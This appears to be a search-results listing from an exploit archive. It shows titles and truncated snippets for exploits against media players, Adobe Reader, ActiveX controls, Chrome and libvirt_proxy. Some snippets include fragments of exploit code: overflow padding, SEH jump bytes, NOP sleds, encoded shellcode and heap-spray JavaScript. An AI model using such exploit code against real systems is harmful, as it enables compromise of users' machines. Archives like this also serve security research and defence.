7594 matches found
Beatport Player 1.0.0.283 - '.m3u' Local Stack Overflow (2)
exploit.py Beatport Player 1.0.0.283 .M3U File Local Stack Overflow Exploit By: Encrypt3d.M!nd Tested on : Windows xp sp2 chars = "\x41" 1232 ns = "\xEB\x06\x90\x90" sh = "\x35\x2F\xD1\x72" nops = "\x90" 20 win32exec - EXITFUNC=thread CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.co...
Serial port shell binding & busybox Launching shellcode
Serial port shell binding, busybox Launching shellcode. Shellcode exploit for linx86 platform / General: Serial port shell binding, busybox launching shellcode.. yey! Specific: really wish i could tell you what i needed this for.. but meh.. this will bind a busybox sh shell to /dev/ttyS0, the...
Mercury Audio Player 1.21 (.b4s) Local Stack Overflow Exploit
Exploit for unknown platform in category local exploits ============================================================= Mercury Audio Player 1.21 .b4s Local Stack Overflow Exploit ============================================================= usage: exploit.py print "" print " Mercury Audio Player...
Mercury Audio Player 1.21 (.pls) SEH Overwrite Exploit
Exploit for unknown platform in category local exploits ====================================================== Mercury Audio Player 1.21 .pls SEH Overwrite Exploit ====================================================== usage: exploit.py print "" print " Mercury Audio Player 1.21 .pls Seh Overwrit...
Adobe Reader 'getAnnots()' Javascript函数远程代码执行漏洞
BUGTRAQ ID: 34736 Adobe Reader是一款PDF文件解析程序。 Adobe Reader处理Javascript存在问题，远程攻击者可以利用漏洞以运行用户权限执行任意代码。 构建包含超长名的注解，在使用'getAnnots' Javascript函数解析时可触发缓冲区溢出，导致以运行Adobe Reader应用程序的安全上下文执行任意代码。 Adobe Acrobat Reader 8.1.4 Adobe Acrobat Reader 9.1 目前没有解决方案提供： http://www.adobe.com/ // //Exploit made by Arr1va...
Adobe 8.1.4/9.1 customDictionaryOpen() Code Execution Exploit
No description provided by source. // //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux // var memory; function NewScript var nop = unescape"%u9090%u9090"; var shellcode =...
Serial port shell binding busybox Launching shellcode
No description provided by source. / General: Serial port shell binding, busybox launching shellcode.. yey! Specific: really wish i could tell you what i needed this for.. but meh.. this will bind a busybox sh shell to /dev/ttyS0, the shellcode does not alter the baudrate settings.. 9600 is the...
BaoFeng ActiveX OnBeforeVideoDownload() Remote BOF Exploit
Exploit for windows platform in category remote exploits ========================================================== BaoFeng ActiveX OnBeforeVideoDownload Remote BOF Exploit ========================================================== BaoFeng mps.dll Remote Code Execution Exploit By: MITBOY Download...
Serial port shell binding, busybox Launching shellcode
Exploit for linux/x86 platform in category shellcode ====================================================== Serial port shell binding, busybox Launching shellcode ====================================================== / General: Serial port shell binding, busybox launching shellcode.. yey!...
Google Chrome 1.0.154.53 (Null Pointer) Remote Crash Exploit
Exploit for unknown platform in category dos / poc ============================================================ Google Chrome 1.0.154.53 Null Pointer Remote Crash Exploit ============================================================ Google Chrome 1.0.154.53 "throw exception" Remote Crash and Denia...
Autodesk IDrop ActiveX Code Execution
Autodesk IDrop RCE Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +...
Adobe 8.1.4/9.1 customDictionaryOpen() Code Execution Exploit
Exploit for linux platform in category remote exploits ============================================================= Adobe 8.1.4/9.1 customDictionaryOpen Code Execution Exploit ============================================================= // //Exploit made by Arr1val //Proved in adobe 9.1 and ado...
Adobe 8.1.49.1 - customDictionaryOpen() Code Execution
Adobe 8.1.49.1 - customDictionaryOpen Code Execution // //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux // var memory; function NewScript var nop = unescape"%u9090%u9090"; var shellcode =...
Adobe Reader 8.1.49.1 - GetAnnots() Remote Code Execution
Adobe Reader 8.1.49.1 - GetAnnots Remote Code Execution // //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux // //Steps: //- create a pdf with an annotation a note i used an annotation with a very long AAAAA name, but that might be omitted //- attach the following script to...
Adobe 8.1.4/9.1 - 'customDictionaryOpen()' Code Execution
// //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux // var memory; function NewScript var nop = unescape"%u9090%u9090"; var shellcode =...
Adobe Reader 8.1.4/9.1 - 'GetAnnots()' Remote Code Execution
// //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux // //Steps: //- create a pdf with an annotation a note i used an annotation with a very long AAAAA name, but that might be omitted //- attach the following script to the OpenAction of the pdf. // var memory; function...
Zoom Player Pro 3.30 Buffer Overflow
?php / Zoom Player Pro v.3.30 .m3u file buffer overflow exploit seh by Nine:Situations:Group::surfista seems the same of http://secunia.com/advisories/28214/ bug found by Luigi Auriemma no full working exploit out, so I made my test version / / //original shellcode, 27 bytes + command //re-encode...
Adobe Reader getAnnots Exploit
// //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux // //Steps: //- create a pdf with an annotation a note i used an annotation with a very long AAAAA name, but that might be omitted //- attach the following script to the OpenAction of the pdf. // var memory; function...
Adobe Reader Spell Exploit
// //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux // var memory; function NewScript var nop = unescape"%u9090%u9090"; var shellcode = unescape...
libvirt_proxy <= 0.5.1 Local Privilege Escalation Exploit
No description provided by source. / cve-2009-0036.c libvirtproxy = 0.5.1 Local Privilege Escalation Exploit Jon Oberheide [email protected] http://jon.oberheide.org Information: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0036 Buffer overflow in the proxyReadClientSocket function in...